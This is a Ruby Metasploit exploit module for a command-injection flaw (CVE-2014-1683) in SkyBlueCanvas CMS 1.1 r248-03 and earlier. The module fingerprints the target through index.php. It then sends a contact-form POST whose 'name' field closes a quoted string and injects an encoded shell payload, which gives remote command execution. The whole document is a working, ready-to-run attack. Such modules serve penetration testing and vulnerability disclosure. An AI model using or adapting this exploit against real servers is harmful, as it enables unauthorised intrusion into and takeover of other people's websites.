SkyBlueCanvas CMS Remote Code Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'SkyBlueCanvas CMS Remote Code Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability  
in SkyBlueCanvas CMS version 1.1 r248-03 and below.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Scott Parish', # Vulnerability discovery and exploit  
'xistence <xistence[at]0x90.nl>' # Metasploit Module  
],  
'References' =>  
[  
['CVE', '2014-1683'],  
['OSVDB', '102586'],  
['BID', '65129'],  
['EDB', '31183'],  
['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']  
],  
'Privileged' => false,  
'Payload' =>  
{  
# Arbitrary big number. The payload gets sent as an HTTP  
# response body, so really it's unlimited  
'Space' => 262144, # 256k  
'DisableNops' => true,  
'Compat' =>  
{  
'ConnectionType' => 'find',  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet python'  
}  
},  
'Platform' => %w{ unix },  
'Targets' =>  
[  
['SkyBlueCanvas 1.1 r248', {}]  
],  
'Arch' => ARCH_CMD,  
'DisclosureDate' => 'Jan 28 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),  
],self.class)  
end  
  
def check  
uri = normalize_uri(target_uri.path.to_s, "index.php")  
  
res = send_request_raw('uri' => uri)  
  
if res and res.body =~ /[1.1 r248]/  
vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
uri = normalize_uri(target_uri.path.to_s, "index.php")  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'vars_get' => { 'pid' => '4' },  
'vars_post' =>  
{  
'cid' => '3',  
'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",  
'email' => rand_text_alphanumeric(10),  
'subject' => rand_text_alphanumeric(10),  
'message' => rand_text_alphanumeric(10),  
'action' => 'Send'  
}  
})  
end  
end  
`